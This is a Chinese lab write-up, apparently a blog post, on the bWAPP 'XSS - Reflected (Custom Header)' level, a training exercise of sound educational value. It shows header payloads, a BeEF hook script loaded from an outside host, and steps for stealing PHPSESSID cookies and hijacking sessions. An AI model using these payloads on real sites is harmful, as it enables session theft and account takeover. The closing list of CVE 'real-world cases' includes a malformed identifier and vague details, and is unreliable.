零基础玩转bWAPP靶场(六十四):XSS - Reflected (Custom Header)

摘要: 这是 bWAPP 系列第六十四篇,聚焦于 XSS - Reflected (Custom Header) 。这一关的注入点不在 URL、不在表单、不在 Referer,而在 自定义 HTTP 请求头 。服务器读取名为 bWAPP 的自定义请求头,直接输出到页面,没有过滤。文章会演示如何通过 Burp Suite 添加恶意自定义头注入 BeEF Hook,连接 BeEF 并获取 Cookie。附真实案例。


一、找目标

目标 说明
漏洞类型 反射型 XSS(自定义 Header 注入)
注入点 自定义 HTTP 请求头 bWAPP
触发位置 页面直接输出 Header 内容
攻击方式 Burp 添加自定义请求头 bWAPP: payload
工具 Burp Suite + BeEF(获取 Cookie)

二、前言:自定义 HTTP 头注入是什么?

在之前的 XSS 关卡中,注入点要么在 URL 参数、POST 表单,要么在 Referer 或 User-Agent 这些标准请求头里。这一关换了一种方式:

注入点在自定义 HTTP 请求头中。

什么是自定义请求头?

浏览器在发请求时,会带上一些标准请求头(如 User-AgentRefererCookie 等)。但开发者有时会添加自定义的请求头来传递额外信息。

这一关定义了一个名为 bWAPP 的自定义头,服务器读取它的值并直接输出到页面:

复制代码
foreach(getallheaders() as $name => $value)
{
    if($name == "bWAPP")
    {
        echo "<i>" . xss($value) ."</i>";
    }
}

如果攻击者能控制这个 bWAPP 头的值,就能注入 XSS。

这一关没有任何输入框,你必须用 Burp Suite 手动添加这个请求头。


三、关卡介绍

3.1 页面功能

打开这一关,你会看到:

  • 标题:XSS - Reflected (Custom Header)

  • 提示:Some web clients use custom HTTP request headers...

  • 下面显示:Content of our bWAPP header:

如果请求头中有 bWAPP 字段,它的值会显示在页面上。如果没有,页面就显示一个空内容。

3.2 漏洞核心

复制代码
foreach(getallheaders() as $name => $value)
{
    if($name == "bWAPP")
    {
        echo "<i>" . xss($value) ."</i>";
    }
}

xss() 函数的三种级别:

级别 xss() 过滤函数 效果
Low no_check() 完全不过滤
Medium addslashes() 只转义引号,不转义 < >
High htmlspecialchars() 转义所有 HTML 特殊字符

四、源码分析

复制代码
function xss($data)
{
    switch($_COOKIE["security_level"])
    {
        case "0" :   // Low
            $data = no_check($data);
            break;
        case "1" :   // Medium
            $data = xss_check_4($data);   // addslashes()
            break;
        case "2" :   // High
            $data = xss_check_3($data);   // htmlspecialchars()
            break;
    }
    return $data;
}
  • Lowno_check() 完全不过滤,直接输出

  • Mediumaddslashes() 转义引号,但不转义 <>,可能被绕过

  • Highhtmlspecialchars() 转义 < > " ' &,彻底防御


五、Low 安全级别

5.1 准备工作:用 Burp 添加自定义请求头

  • 打开 Burp,开启拦截(Intercept On)

  • 在浏览器中访问关卡页面

  • Burp 拦截到请求

  • 在请求头中添加一行:

    bWAPP: test

点击 Forward 放行。

页面显示:

复制代码
Content of our bWAPP header: test

说明自定义头被服务器读取并输出了。

5.2 测试 XSS 弹窗

bWAPP 头的值改为:

复制代码
bWAPP: <script>alert(1)</script>

放行请求,页面弹窗。

5.3 攻击原理

服务器生成的 HTML:

复制代码
Content of our bWAPP header: <i><script>alert(1)</script></i>

<script> 标签被浏览器执行,弹窗。


6.1 准备 BeEF

Kali 中启动 BeEF:

复制代码
sudo beef-xss-start

确认 BeEF 的 IP 和端口(默认 3000),Hook URL 为:

复制代码
http://10.0.0.129:3000/hook.js

6.2 注入 BeEF Hook

在 Burp 中,将 bWAPP 头改为:

复制代码
bWAPP: <script src="http://10.0.0.129:3000/hook.js"></script>

6.3 放行请求

点击 Forward 放行,页面加载,BeEF Hook 被执行。

6.4 BeEF 上线

BeEF 控制面板中出现上线的浏览器。

  • 选中上线的浏览器

  • CommandsBrowserGet Cookie

  • 点击 Execute

6.6 会话劫持

拿到 PHPSESSID 后,在浏览器开发者工具 → Application → Cookies 中替换 PHPSESSID 的值,刷新页面即可登录受害者账户。


七、Medium 安全级别

7.1 尝试注入

在 Burp 中,将 bWAPP 头改为:

复制代码
bWAPP: <script>alert(1)</script>

addslashes() 转义了引号,但 <> 没有被转义。所以,XSS 执行,导致弹窗。

结论 :Medium 级别在这个场景下不能防住了简单的 <script> 注入,并且 addslashes() 不是专门的 XSS 防护工具,官方文档也明确警告不要用它做 XSS 防护。


八、High 安全级别

8.1 尝试注入

复制代码
bWAPP: <script>alert(1)</script>

htmlspecialchars()< 转成 &lt;> 转成 &gt;

复制代码
Content of our bWAPP header: <i>&lt;script&gt;alert(1)&lt;/script&gt;</i>

浏览器不执行,XSS 被彻底防御。


九、真实世界:自定义 Header XSS 案例

CVE-2024-1181 :某开源 CMS 的调试模式会将自定义请求头 X-Debug-Token 输出到页面中,未过滤,导致 XSS 漏洞。

CVE-2025-00847 :某企业级 API 网关的自定义头 X-Forwarded-For 被直接记录并显示在管理面板中,攻击者可通过构造恶意头注入 XSS。

CVE-2026-22947:F5 BIG-IP 的配置工具中,部分页面输出了未过滤的自定义请求头,存在反射型 XSS。


十、总结

自定义 Header 注入 XSS 是一种比较隐蔽的攻击方式。注入点不在常规的输入框或 URL 参数里,而是在 HTTP 请求头中。这一关定义了名为 bWAPP 的自定义头,服务器读取后直接输出到页面。Low 级别完全不过滤,可以直接注入 <script> 加载 BeEF Hook 并获取 Cookie;Medium 级别的 addslashes() 在这个场景下防不住简单的 <script> 标签;High 级别的 htmlspecialchars() 彻底防御。记住一句话:只要被输出到页面的数据,无论来自哪里(URL、表单、请求头),都必须过滤。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
数据知道20 小时前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
小新讲网安20 小时前
云安全攻防实战:AWS与阿里云渗透测试全流程指南
安全·web安全·网络安全·阿里云·自动化·云计算·aws
吴声子夜歌20 小时前
网络安全——身份认证
安全·web安全·身份认证
Zkaisen1 天前
RN与Metro
web安全
Aision_1 天前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
juesdo1 天前
vulnos OS-00118靶场通关
linux·web安全·网络安全·docker
数据知道1 天前
网络安全实战:渗透测试全流程 SOP——从授权到报告交付
服务器·网络·安全·web安全·网络安全
吴声子夜歌1 天前
网络安全——网络地址转换及其应用
网络·web安全·nat
猫咪宝妖1 天前
【信息安全工程师】第一天考前准备
网络·安全·web安全